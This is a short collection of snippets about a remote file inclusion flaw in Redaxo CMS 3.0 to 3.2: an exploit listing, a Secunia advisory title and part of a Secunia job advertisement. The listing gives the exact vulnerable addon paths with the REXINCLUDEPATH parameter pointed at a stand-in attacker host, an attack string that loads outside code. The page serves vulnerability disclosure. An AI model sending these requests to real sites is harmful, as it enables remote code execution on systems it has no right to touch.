Redaxo 3.2 - 'INCLUDE_PATH' Remote File Inclusion

Script: Redaxo CMS Vendor: http://www.redaxo.de Discovered: beford Redaxo 3.2 - 3.1 - 3.0 ./redaxo/include/addons/imageresize/pages/index.inc.php?REXINCLUDEPATH=attacker Redaxo 3.0 ./redaxo30demospatched/redaxo/include/addons/imageresize/pages/index.inc.php?subpage=relations&REXINCLUDEPATH=attack...

[SA20408] REDAXO "REX[INCLUDE_PATH]" File Inclusion Vulnerabilities

---------------------------------------------------------------------- Want to join the Secunia Security Team? Secunia offers a position as a security specialist, where your daily work involves reverse engineering of software and exploit code, auditing of source code, and analysis of vulnerabilit...